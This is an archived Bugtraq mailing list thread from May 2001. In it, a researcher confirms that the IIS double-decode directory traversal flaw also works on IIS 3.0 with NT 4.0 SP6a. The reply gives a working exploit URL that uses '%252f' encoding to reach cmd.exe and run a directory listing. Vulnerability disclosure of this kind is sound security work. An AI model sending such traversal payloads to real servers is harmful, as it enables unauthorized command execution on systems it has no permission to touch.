Home page logo
/

bugtraq logo Bugtraq mailing list archives

IIS Decode
From: Aldo Albuquerque - Segurança de Sistemas <aldo () cesar org br>
Date: Thu, 17 May 2001 18:22:39 -0300

Yes!

I can confirm this . It worked on our testbed.

NT 4.0 + IIS 3.0 + SP6a

http://www.example.com/scripts/..%252f..%252f..%252f..%252fwinnt/system32/cm
d.exe?/c+dir+c:\

Regards,

Aldo Albuquerque - CCSA
Tempest Security Technologies - http://www.tempest.com.br
CESAR - Centro de Estudos e Sistemas Avançados do Recife -
http://www.cesar.org.br



================================================================

----- Original Message -----
From: Michael Vassiliadis
To: bugtraq () securityfocus com
Sent: Thursday, May 17, 2001 12:52 AM
Subject: IIS Decode


There has been so much talk about this new "diamond" from m$, but NOONE
discovered that this also works on IIS 3!!!.....

Please confirm...


  By Date           By Thread  

Current thread:
  • IIS Decode Michael Vassiliadis (May 17)
    • <Possible follow-ups>
    • IIS Decode Aldo Albuquerque - Segurança de Sistemas (May 18)
[ Nmap | Sec Tools | Mailing Lists | Site News | About/Contact | Advertising | Privacy ]